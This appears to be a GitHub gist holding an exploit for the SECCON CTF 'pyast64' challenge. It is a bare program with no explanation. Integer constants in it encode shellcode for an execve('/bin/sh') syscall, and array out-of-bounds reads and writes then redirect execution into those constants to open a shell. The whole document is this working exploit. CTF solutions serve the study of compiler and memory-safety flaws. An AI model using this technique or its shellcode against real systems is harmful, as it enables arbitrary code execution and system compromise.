Created
December 12, 2021 09:04
-
-
Save dkdna/00602656b3225891e81b0d862e064dd5 to your computer and use it in GitHub Desktop.
SECCON - pyast64
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def tmp(): | |
new = 0x4eb9059 | |
new = 0x4eb9054 | |
new = 0x4eb905f | |
new = 0x4eb006a | |
new = 0x4eb905e | |
new = 0x4eb3b6a | |
new = 0x4eb9058 | |
new = 0x4eb006a | |
new = 0x4eb905a | |
new = 0x4eb050f | |
new = 0x68732f | |
new *= 0x1000000 | |
new += 0x6e6962 | |
new *= 0x100 | |
new += 0x2f | |
a = array(1) | |
b = array(1) | |
a[0] = 0x1337 | |
b[0] = 0 | |
b[0] = b[0] + a | |
b[0] = b[0] + 0x30 | |
d = b[0] | |
c = 0 | |
c -= array(1) | |
e = 0x800000 | |
e = e * 0x1000000 | |
c += e | |
f = 0x20 | |
e = d[f] | |
while e < 0x6000000 or (e & 0xff == 0xff): | |
f += 1 | |
e = d[f] | |
e = e + 0xfd5 | |
d[4] = e | |
e = d[3] | |
d[6] = e |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment